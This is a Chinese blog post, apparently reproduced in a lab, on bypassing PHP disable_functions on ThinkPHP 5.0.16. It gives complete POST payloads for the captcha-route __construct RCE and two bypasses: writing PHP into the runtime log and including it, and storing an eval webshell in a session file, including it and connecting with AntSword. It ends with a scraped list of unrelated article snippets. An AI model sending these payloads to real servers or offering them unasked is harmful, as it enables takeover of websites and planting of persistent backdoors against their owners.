thinkphp5.x在函数禁用的情况下绕过
描述
测试的时候发现一个thinkphp的网站,有tp5的漏洞但无法执行命令,但没机会进行后续测试,所有在这里自己搭建环境进行复现一下。
使用的是tp5.0.16

一开始使用网上的payload打一直不成功,提示函数被进禁用
payload如下
POST /?s=captcha
_method=__construct&filter[]=system&method=get&get[]=whoami
disable_function禁用了以下函数
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
突破
常见的tp5突破方式有两种
1.写日志,让后包含日志文件getshell。
首先要知道日志路径,假设路径为../runtime/log/202108/26.log

然后就可以往日志中写shell了
首先使tp5报错将内容写进日志文件
POST /?s=captcha
_method=<? phpinfo();?>
然后包含日志文件
POST /?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get
[]=../runtime/log/202108/26.log

2.写session,然后包含session文件
找到环境session存在的位置,可以在phpinfo中看到

将shell写进session中
POST /?s=captcha
Cookie: PHPSESSID=aaaa
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1

包含session文件 getshell
POST /?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&get[]=../../../Extensions\tmp\tmp/sess_aaaa&server[]=1
直接用蚁剑链接成功

参考文章
https://forum.90sec.com/t/topic/704
https://www.cnblogs.com/nul1/p/11991374.html 这篇文章讲了在有waf的情况下通过伪协议绕过
thinkphp5.x在函数禁用的情况下绕过的更多相关文章
- 客户端禁用cookie情况下的URL重写
客户端禁用cookie情况下的URL重写: servlet: package com.stono.servlet.listenerorder; import java.io.IOException; ...
- C++11 std::call_once:保证函数在任何情况下只调用一次
std::call_once的作用是很简单的, 就是保证函数或者一些代码段在并发或者多线程的情况下,始终只会被执行一次.比如一些init函数,多次调用可能导致各种奇怪问题. 给个例子: #includ ...
- teradata 字符串数据合并 在concat()函数无法使用的情况下
在teradata sql中不存在concat()函数或者stuff()函数,在此情况下,如何实现多条字符串数据合并成一行? 在查找不同方法过程中,在stackflow中找到最简便的方法,使用xml_ ...
- oracle wm_concat 函数无法使用的情况下,使用LISTAGG()函数
http://dacoolbaby.iteye.com/blog/1698957 --20180327 重写wm_concat函数,解决行数超过上限问题 /*执行前请将APPS替换为当前登录用户*/ ...
- CMD命令行提示被禁用的情况下如何继续使用命令行工具执行命令
1.直接在Windows搜索 左下 输入要执行的 CMD 命令单句.多句同时执行没有试出来. 暂时记录这一条.2016-12-20
- 什么情况下会调用到session_destroy()
https://segmentfault.com/q/1010000000191102 首先 ... session_destory() 是一个函数 ... 这个函数在任何情况下都不会被 php 引擎 ...
- 使用QFileInfo类获取文件信息(在NTFS文件系统上,出于性能考虑,文件的所有权和权限检查在默认情况下是被禁用的,通过qt_ntfs_permission_lookup开启和操作。absolutePath()必须查询文件系统。而path()函数,可以直接作用于文件名本身,所以,path() 函数的运行会更快)
版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog.csdn.net/Amnes1a/article/details/65444966QFileInfo类为我们提供了系统无 ...
- Into outfile禁用情况下另类方法拿webshell
首先环境如下: OS:Windows 2003 WAF:Safe Dog 4.0正式版 phpmyadmin:4.7(许多都可以) Mysql:5.5+ PHP:5.3 Apache:2.x 总结方法 ...
- 使用QFileInfo类获取文件信息(文件的所有权和权限检查在默认情况下是被禁用的。要使能这个功能 extern Q_CORE_EXPORT int qt_ntfs_permission_lookup;)
QFileInfo类为我们提供了系统无关的文件信息,包括文件的名字和在文件系统中位置,文件的访问权限,是否是目录或符合链接,等等.并且,通过这个类,可以修改文件的大小和最后修改.读取时间.同时,QFi ...
随机推荐
- 使用Elastic Job的时候报“Job conflict with register center”,如何处理?
昨天,有群友反应根据之前这篇<使用Elastic Job实现定时任务>文章编写测试定时任务的时候,报了类似下面的这个错误: Caused by: org.apache.shardingsp ...
- Python - 基础数据类型 dict 字典
字典简介 字典在 Python 里面是非常重要的数据类型,而且很常用 字典是以关键字(键)为索引,关键字(键)可以是任意不可变类型 字典由键和对应值成对组成,字典中所有的键值对放在 { } 中间,每一 ...
- HCNA Routing&Switching之交换技术基础
什么是交换机?顾名思义,交换机就是用来数据包交换的:广泛用于终端接入:它的前身是hub(集线器),hub是一个古老的设备,它的作用也是用于终端接入,但hub有一个最大的缺点是它不能隔离冲突域:所谓冲突 ...
- Resnet网络详细结构(针对Cifar10)
Resnet网络详细结构(针对Cifar10) 结构 具体结构(Pytorch) conv1 (conv1): Conv2d(3, 64, kernel_size=(3, 3), stride=(1, ...
- etcd raft 处理流程图系列2-transport
本章给出了raftexample中使用的传输层代码,补全了上一节中传输层与raft节点(raft server和channel server)的交互细节.下图中流程的核心在于传输层中的streamRt ...
- TypeScript学习笔记(一)环境搭建和数据类型
目录 一.学习TypeScript的缘由 二.学习环境的搭建 1. TypeScript的编译环境 2. vscode自动编译的配置 三.TypeScript中的数据类型 1. 简单变量的定义和初始化 ...
- Git8.3k星,十万字Android主流开源框架源码解析,必须盘
为什么读源码 很多人一定和我一样的感受:源码在工作中有用吗?用处大吗?很长一段时间内我也有这样的疑问,认为哪些有事没事扯源码的人就是在装,只是为了提高他们的逼格而已. 那为什么我还要读源码呢?一刚开始 ...
- javaScript学习关于常用注册监听和对象的创建
JS 中的自定义对象(扩展内容) Object 形式的自定义对象 对象的定义: ...
- 采用Jpcap+redis+线程 设备网络流量监控 应用实战实例
.personSunflowerP { background: rgba(51, 153, 0, 0.66); border-bottom: 1px solid rgba(0, 102, 0, 1); ...
- windows的自动登录和隐藏用户
Launch Regedit. #r -> regedit 1. Navigate to: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Cu ...